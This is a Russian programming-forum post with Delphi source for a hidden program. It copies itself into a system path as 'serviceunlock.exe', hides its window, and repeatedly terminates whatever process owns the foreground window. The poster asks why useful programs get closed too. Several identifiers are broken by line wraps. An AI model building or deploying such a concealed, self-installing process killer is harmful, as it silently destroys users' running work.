![]() |
|
|
Регистрация Восстановить пароль |
Регистрация | Задать вопрос |
Заплачу за решение |
Новые сообщения |
Сообщения за день |
Расширенный поиск |
Правила |
Всё прочитано |
![]() |
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу. Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста". Название темы слишком короткое или не отражает сути вашего вопроса. Тема исчерпала себя, помните, один вопрос - одна тема Прочитайте правила и заново правильно создайте тему. |
|
Опции темы | Поиск в этой теме |
![]() |
#1 |
Регистрация: 02.10.2010
Сообщений: 4
|
![]()
unit Unit1;
interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, TLHelp32; type TForm1 = class(TForm) btn1: TButton; Timer1: TTimer; procedure btn1Click(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} function KillTask(ExeFileName:String):intege r; const Process_Terminate=$0001; var ContinueLoop:BOOL; FSnapShotHandle:THandle; FProcessEntry32:TProcessEntry32; begin result:=0; FSnapShotHandle:=CreateToolHelp32Sn apShot(TH32CS_SnapProcess,0); FProcessEntry32.dwSize:=SizeOf(FPro cessEntry32); continueLoop:=Process32First(FSnapS hotHandle,FProcessEntry32); while integer(continueloop)<>0 do begin if ((UpperCase(ExtractFileName(FProces sEntry32.szExeFile))= UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFil e) = UpperCase(ExeFileName))) then Result:=Integer(TerminateProcess(Op enProcess(Process_TERMINATE,bool(0) , FProcessEntry32.th32ProcessID),0)); ContinueLoop:=Process32Next(FSnapSh otHandle,FProcessEntry32); end; CloseHandle(FSnapShotHandle); end; Function HandleToFullPath(H: HWND): String; {какаято фигня, в гугле нашол. Тебе советую тоже использовать гугл почаще} Var Pid:Cardinal; M: TModuleEntry32; HSnapshot: THandle; Begin Result:=''; GetWindowThreadProcessId(H,@Pid); HSnapshot:=CreateToolhelp32Snapshot (TH32CS_SNAPMODULE,Pid); If HSnapshot=-1 Then Exit; M.DwSize:=SizeOf(TModuleEntry32); If Module32First(HSnapshot,M) Then Result:=M.SzExePath; CloseHandle(HSnapshot); End; procedure TForm1.btn1Click(Sender: TObject); var h:HWND; p:string; begin h:=GetForegroundWindow; // получаем окно p:=ExtractFileName(HandleToFullPath (h)); //получаем ТОЛЬКО имя екзешника KillTask(p); end; procedure TForm1.Timer1Timer(Sender: TObject); begin btn1.Click; end; procedure TForm1.FormCreate(Sender: TObject); begin CopyFile(PChar(ParamStr(0)), PChar('%systemdryve%\serviceunlock. exe'), True); application.ShowMainForm:=false; end; end. программа завершает процессы которые поверх всех окон, но она также может закрывать и полезные проги которые и не поверх окон, как это исправить? |
![]() |
![]() |
![]() |
||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
как сам лабиринт ввести не как постоянную как тут а считыванием с файла | Голем | Помощь студентам | 10 | 17.07.2010 18:07 |